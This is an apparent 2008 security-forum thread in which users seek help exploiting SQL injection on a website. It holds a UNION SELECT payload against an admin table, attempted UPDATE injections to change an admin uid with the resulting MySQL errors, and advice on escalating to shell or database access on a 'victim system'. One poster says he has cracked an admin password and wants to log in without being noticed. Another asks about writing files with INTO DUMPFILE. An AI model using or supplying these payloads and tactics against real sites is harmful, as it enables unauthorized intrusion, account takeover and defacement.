|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
How to "UPDATE" |
|
Posted: Mon Apr 21, 2008 6:41 pm |
|
|
bleh |
Regular user |
|
|
Joined: Apr 19, 2008 |
Posts: 19 |
|
|
|
|
|
|
|
Hey
I've got this vulnerable url:
Code: |
http://www.example.com/main/index.php?type=journal&kid=NULL+UNION+ALL+SELECT+1,concat(uid),3,4,5,6,7,8,9,10,11,12,13,14+FROM+admin--
|
I want to edit that uid, to the uid I use, so the command would be something like:
Code: |
UPDATE admin SET uid = 5 WHERE uid = 1
|
Where do I put the update on that url?
EDIT:
If I do this:
Code: |
http://www.example.com/main/index.php?type=journal&kid=NULL+UPDATE+admin+SET+uid+=+5+WHERE+uid+=+1--
|
I get this error:
Quote: | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE admin SET uid = 5 WHERE uid = 1--' at line 1 |
|
|
|
|
|
|
|
|
|
Posted: Mon Apr 21, 2008 7:28 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
It's easy to answer your question - you can't
MySql via php does not support multiple queries and there is no other way to make UPDATE happen, if you got sql injection in SELECT query!
So, for update:
1. If you can find sql injection in UPDATE query, which deals with table you want to manipluate, then it's possible
2. If you can escalate your presence in victim system to php scripting level or shell command level, or you can find PhpMyAdmin or TCP port 3306 is open and you have proper credentials - then again - mission complete |
|
|
|
|
|
|
|
|
Posted: Mon Apr 21, 2008 11:31 pm |
|
|
bleh |
Regular user |
|
|
Joined: Apr 19, 2008 |
Posts: 19 |
|
|
|
|
|
|
|
That was what I first thought, just wanted to hear the experts. So, after more digging, I've found out another vuln. It's in a poll script, so there's a high probability of using the update command.. right?
Code: | www.example.com/main/inc/Kpoll.php?id=UPDATE+admin+SET+uid+=+5+WHERE+uid+=+1-- |
Quote: |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE admin SET uid = 5 WHERE uid = 1--)' at line 1
|
Notice the ) at the end.
Can anything be done? I've lost hope. If this doesn't work I have to resort to hash cracking.... will just take a couple of hundred years lol |
|
|
|
|
|
|
|
|
Posted: Wed Apr 23, 2008 11:54 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Look, what i wrote in my previous post:
Code: |
find sql injection in UPDATE query, which deals with table you want to manipulate
|
So if you have sql injection in UPDATE query, which deals with polls table, then you CAN'T manipulate admins table, only polls table (in case of mysql/php).
And it seems to me, that your previous example does not point to sql injection in UPDATE at all, more like injection in SELECT.
Bottom line - find other attack vectors. UPDATE is not helping you here, that's my $0.02
By the way, example of working UPDATE attack:
http://www.waraxe.us/content-51.html
This is sql injection case in 2z CMS, where attacker can manipulate with UPDATE query and therefore with only one http request it is possible to change the content of ALL pages on website. Perfect defacement possibility ... |
|
|
|
|
|
|
|
|
Posted: Thu Apr 24, 2008 7:01 pm |
|
|
bleh |
Regular user |
|
|
Joined: Apr 19, 2008 |
Posts: 19 |
|
|
|
|
|
|
|
waraxe wrote: | Look, what i wrote in my previous post:
Code: |
find sql injection in UPDATE query, which deals with table you want to manipulate
|
So if you have sql injection in UPDATE query, which deals with polls table, then you CAN'T manipulate admins table, only polls table (in case of mysql/php).
And it seems to me, that your previous example does not point to sql injection in UPDATE at all, more like injection in SELECT.
Bottom line - find other attack vectors. UPDATE is not helping you here, that's my $0.02
By the way, example of working UPDATE attack:
http://www.waraxe.us/content-51.html
This is sql injection case in 2z CMS, where attacker can manipulate with UPDATE query and therefore with only one http request it is possible to change the content of ALL pages on website. Perfect defacement possibility ... |
Sorry. I must have skipped that. Anyway, I managed to crack the password... in an astonish 0.8s
The problem, is that the admin that uses this password doesn't login for a long a long time. My guess, is that he uses another account now but the password for that account is still being processed.
I would login with the cracked password, but his username would show up on the "who visited us today" or sth |
|
|
|
|
|
|
|
|
Posted: Wed Aug 01, 2012 12:16 pm |
|
|
wheelq |
Beginner |
|
|
Joined: Aug 01, 2012 |
Posts: 1 |
|
|
|
|
|
|
|
I have similar issue, however in my code there is just
UPDATE ... SET ... WHERE id=$_GET['id'];
I am aware that I can't put select/drop anything like that in here, but still, would like to know what other possibilities I have.
Strange thing is that :
id=1 and (SELECT 1)=1 works, but
id=1 and (SELECT 1 into dumpfile '/tmp/check')=1
doesn.t (while SELECT 1 into dumpfile '/tmp/check' without UPDATE in front of it works).
Ok I have found couple links here: http://www.waraxe.us/ftopic-7348-0-days0-orderasc-update.html
but still...outfile is having problems when combined with UPDATE |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|